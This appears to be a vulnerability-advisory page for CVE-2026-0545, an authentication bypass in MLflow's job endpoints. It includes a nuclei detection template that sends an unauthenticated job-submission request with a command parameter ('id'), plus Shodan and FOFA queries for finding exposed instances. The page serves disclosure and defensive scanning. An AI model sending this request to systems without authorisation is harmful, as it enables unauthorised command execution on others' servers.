CVE-2026-0545· mlflow / mlflow· CWE-306
MLflow Job API - Authentication Bypass
criticalseverity
9.1CVSS score
4.4%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it
MLflow latest version contains an authentication bypass caused by unprotected FastAPI job endpoints under /ajax-api/3.0/jobs/* when basic-auth is enabled, letting unauthenticated network clients submit and manage jobs, exploit requires job execution enabled and allowlisted job functions.
Impact
Unauthenticated attackers can execute jobs remotely, potentially leading to remote code execution, denial of service, or data exposure.
Fix
Update to the latest version with fixed authentication enforcement on job endpoints.
How to confirm it
Send: POST /ajax-api/3.0/jobs/
Positive when: contains_all(body, "\"job_id\":", "\"job_name\":") and contains(content_type, "application/json") and status_code == 200Run it with nuclei: nuclei -id CVE-2026-0545 -u <target>
The full check
id: CVE-2026-0545
info:
name: MLflow Job API - Authentication Bypass
author: DhiyaneshDk
severity: critical
description: |
MLflow latest version contains an authentication bypass caused by unprotected FastAPI job endpoints under /ajax-api/3.0/jobs/* when basic-auth is enabled, letting unauthenticated network clients submit and manage jobs, exploit requires job execution enabled and allowlisted job functions.
impact: |
Unauthenticated attackers can execute jobs remotely, potentially leading to remote code execution, denial of service, or data exposure.
remediation: |
Update to the latest version with fixed authentication enforcement on job endpoints.
reference:
- https://huntr.com/bounties/b2e5b028-9541-4d29-8703-a76f1a3734d8
- https://nvd.nist.gov/vuln/detail/CVE-2026-0545
- https://github.com/mlflow/mlflow
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2026-0545
epss-score: 0.04392
epss-percentile: 0.91391
cwe-id: CWE-306
metadata:
verified: true
max-request: 1
vendor: mlflow
product: mlflow
shodan-query: title:"MLflow"
fofa-query: title="MLflow"
tags: cve,cve2026,mlflow,auth-bypass
http:
- raw:
- |
POST /ajax-api/3.0/jobs/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"job_name":"run_task","params":{"command":"id"}}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "\"job_id\":", "\"job_name\":")'
- 'contains(content_type, "application/json")'
- 'status_code == 200'
condition: andReferences
- https://huntr.com/bounties/b2e5b028-9541-4d29-8703-a76f1a3734d8
- https://nvd.nist.gov/vuln/detail/CVE-2026-0545
- https://github.com/mlflow/mlflow
Use this check only on systems you are authorised to test. Where the data comes from